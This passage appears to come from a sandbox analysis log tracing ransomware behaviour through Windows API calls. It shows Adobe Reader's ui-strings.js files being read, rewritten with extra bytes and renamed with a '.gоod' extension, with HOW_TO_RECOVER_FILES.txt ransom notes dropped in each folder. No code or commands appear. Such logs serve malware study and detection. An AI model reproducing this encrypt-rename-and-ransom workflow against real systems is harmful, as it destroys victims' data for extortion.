(dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0154.798] GetFileType (hFile=0x650) returned 0x1 [0154.798] WriteFile (in: hFile=0x650, lpBuffer=0x33bbd40*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x1ffec348, lpOverlapped=0x0 | out: lpBuffer=0x33bbd40*, lpNumberOfBytesWritten=0x1ffec348*=0x500, lpOverlapped=0x0) returned 1 [0154.799] CloseHandle (hObject=0x650) returned 1 [0154.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x71 [0154.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x76 [0154.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec470) returned 1 [0154.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffec550 | out: lpFileInformation=0x1ffec550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x587c3432, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0154.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec430) returned 1 [0154.799] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js.gоod")) returned 1 [0154.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0154.800] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae", lpFilePart=0x0) returned 0x69 [0154.800] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0154.801] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0154.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0154.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0154.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae", lpFilePart=0x0) returned 0x69 [0154.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.802] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.802] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0154.802] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0154.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0154.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0154.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0154.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0154.803] GetFileType (hFile=0x650) returned 0x1 [0154.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0154.803] GetFileType (hFile=0x650) returned 0x1 [0154.803] WriteFile (in: hFile=0x650, lpBuffer=0x33cda40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33cda40*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0154.804] CloseHandle (hObject=0x650) returned 1 [0154.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0154.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x69 [0154.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.806] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.806] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0154.806] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.806] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0154.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0154.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0154.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x69 [0154.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.807] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.807] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0154.807] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0154.807] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0154.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0154.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0154.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0154.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x33dd618 | out: lpFileInformation=0x33dd618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f)) returned 1 [0154.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0154.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0154.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0154.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.808] GetFileType (hFile=0x650) returned 0x1 [0154.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0154.808] GetFileType (hFile=0x650) returned 0x1 [0154.808] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0154.808] ReadFile (in: hFile=0x650, lpBuffer=0x33ddaf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33ddaf0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0154.809] CloseHandle (hObject=0x650) returned 1 [0154.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0154.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0154.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.810] GetFileType (hFile=0x650) returned 0x1 [0154.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0154.810] GetFileType (hFile=0x650) returned 0x1 [0154.810] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3f5f [0154.810] WriteFile (in: hFile=0x650, lpBuffer=0x33deeb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33deeb8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0154.811] CloseHandle (hObject=0x650) returned 1 [0154.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0154.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0154.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.811] GetFileType (hFile=0x650) returned 0x1 [0154.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0154.811] GetFileType (hFile=0x650) returned 0x1 [0154.811] ReadFile (in: hFile=0x650, lpBuffer=0x33e2308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33e2308*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0155.010] CloseHandle (hObject=0x650) returned 1 [0155.010] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.010] GetFileType (hFile=0x650) returned 0x1 [0155.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.010] GetFileType (hFile=0x650) returned 0x1 [0155.010] WriteFile (in: hFile=0x650, lpBuffer=0x32bc710*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x32bc710*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0155.010] CloseHandle (hObject=0x650) returned 1 [0155.010] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.010] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0155.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0155.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x589b2f92, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6f)) returned 1 [0155.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0155.011] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0155.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, 